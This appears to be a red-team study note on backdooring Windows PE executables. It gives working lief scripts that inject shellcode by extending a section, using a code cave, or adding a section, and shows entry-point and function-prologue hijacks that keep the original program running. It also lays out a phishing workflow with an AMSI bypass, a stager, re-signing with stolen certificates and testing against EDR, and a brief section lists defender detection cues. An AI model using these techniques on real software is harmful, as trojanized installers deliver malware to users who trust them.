PE backdooring and code caves

PE backdooring and code caves

TL;DR: Backdooring a PE file = inject shellcode into a benign executable so it runs your payload before/alongside legit behaviour. Methods: (1) extend the last section, (2) find a “code cave” — unused padding inside an existing section, (3) add a new section. Then hijack execution: patch the entry point or hook an existing function epilogue. Survives Authenticode if you re-sign with a stolen / impersonated certificate (mostly historical). OSEE-relevant for understanding both implant tradecraft and AV/EDR’s detection heuristics. Companion to custom-windows-shellcode-writing and pe-format.

Why backdoor a PE

  • Phishing payload that looks like a legit installer.
  • Implant that piggybacks on a regularly-run utility.
  • Bypassing application allowlists by extending a binary already on the allowlist.

This is not about reverse-engineering — it’s about adding code while preserving original behaviour.

Method 1 — extend the last section

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import lief

pe = lief.PE.parse("legit.exe")
sect = pe.sections[-1]                         # last section
print(f"Last section: {sect.name}, vsize={sect.virtual_size}, rsize={sect.size}")

shellcode = open("payload.bin", "rb").read()
sect.content = list(sect.content) + list(shellcode)
sect.size = len(sect.content)
sect.virtual_size = len(sect.content)
sect.characteristics |= lief.PE.SECTION_CHARACTERISTICS.MEM_EXECUTE.value

# Set entry point to start of shellcode
new_entry = sect.virtual_address + (sect.virtual_size - len(shellcode))
pe.optional_header.addressof_entrypoint = new_entry

pe.write("backdoored.exe")

Tradeoffs:

  • Simple.
  • File-size larger; defenders notice.
  • May break some integrity checks (Authenticode signature broken; some apps detect).

Method 2 — code cave

PE sections are aligned to FileAlignment (commonly 0x200) and SectionAlignment (commonly 0x1000). The leftover bytes after the section’s last meaningful instruction are zero-filled — your “code cave”.

Find caves:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import lief
pe = lief.PE.parse("legit.exe")
for s in pe.sections:
    content = bytes(s.content)
    # find runs of \x00
    i = 0
    while i < len(content):
        if content[i] == 0:
            j = i
            while j < len(content) and content[j] == 0: j += 1
            if j - i > 100:                    # cave > 100 bytes
                print(f"cave in {s.name} at +{i:x} size {j-i}")
            i = j
        else:
            i += 1

For each cave: confirm the section is marked EXECUTE (.text usually is; .rdata is not).

Method 3 — add a new section

Append a fresh PE section header + data. More invasive, more detectable, but cleanest.

1
2
3
4
5
6
7
8
9
10
11
12
13
import lief
pe = lief.PE.parse("legit.exe")
new_sect = lief.PE.Section(".extra")
new_sect.content = list(shellcode)
new_sect.virtual_size = len(shellcode)
new_sect.size = (len(shellcode) + 0x1FF) & ~0x1FF
new_sect.characteristics = (
    lief.PE.SECTION_CHARACTERISTICS.MEM_READ.value |
    lief.PE.SECTION_CHARACTERISTICS.MEM_EXECUTE.value |
    lief.PE.SECTION_CHARACTERISTICS.CNT_CODE.value
)
pe.add_section(new_sect)
pe.write("backdoored.exe")

Execution hijack — entry point patch

Simplest hijack: change AddressOfEntryPoint to your shellcode. Original code never runs.

Better — preserve original behaviour: at the end of your shellcode, JMP back to the original entry point.

; your shellcode bytes ...
jmp 0x12345678                    ; original AddressOfEntryPoint

Now the binary still runs as if normal — and fires your payload first.

Execution hijack — function epilogue hook

Find a frequently-called function in the binary; replace its prologue with a jump to your shellcode, which executes your payload then jmp to the original prologue.

1
2
3
4
5
original:   55 48 89 e5  push rbp; mov rbp, rsp; ...
patched:    e9 NN NN NN NN ...       jmp shellcode
shellcode:  ...your code...
             55 48 89 e5 ...         (saved original bytes)
             e9 ...                  jmp back to original + 5

Trampolines like this are how Detours-style hooking works internally.

Preserving Authenticode

Authenticode (PE signing) covers most of the file but excludes certain ranges (the certificate directory, the checksum). After modification:

  • Signature is invalid.
  • Many programs warn (“unverified publisher”).
  • Application allowlists with signature requirements reject.

Re-signing:

  • With a self-signed cert → still flagged as untrusted issuer.
  • With a stolen/compromised cert → real concern; some implants do this. Cert revoked once detected.
  • With an EV cert acquired under shell company → expensive, traceable.

Modern AV checks both signature AND behaviour; signature alone isn’t bypass.

Detection — what defenders see

  • Signature broken / mismatched.
  • New section with unusual name / characteristics.
  • Entry point in a section atypical for entry (.data).
  • Hash mismatch from known-good.
  • Behavioural — beacon / process spawn.

Defenders look for these in:

  • AV static signatures.
  • EDR static analysis on file write.
  • Microsoft Defender attack surface reduction rules.

Workflow for a phishing payload

  1. Pick a legit-looking carrier (a small utility installer).
  2. Find a code cave or extend.
  3. Inject AMSI-bypass + stager (small).
  4. JMP back to original.
  5. Re-sign with whatever cert is available (or accept unsigned warning if engagement allows).
  6. Test against target’s specific AV / EDR vendor.

Tools

  • lief (Python) — PE manipulation library. Modern, fast.
  • pefile — older Python; still useful.
  • CFF Explorer — GUI for inspection.
  • shellter — automated backdoor injector. Quality varies.
  • Donut — generates loader shellcode for .NET assemblies + binaries.
  • APIMonitor / PE-bear — inspect imports.

OSEE relevance

OSEE focuses on exploit dev more than implant dev, but understanding PE structures + code injection is foundational for:

  • Browser exploit final stage (loading attacker code into the browser process).
  • DLL hijacking + side-loading payloads.
  • AV evasion at exploit stage.

For pure red-team malware-dev path: Sektor7 / MalDev Academy go deeper.

References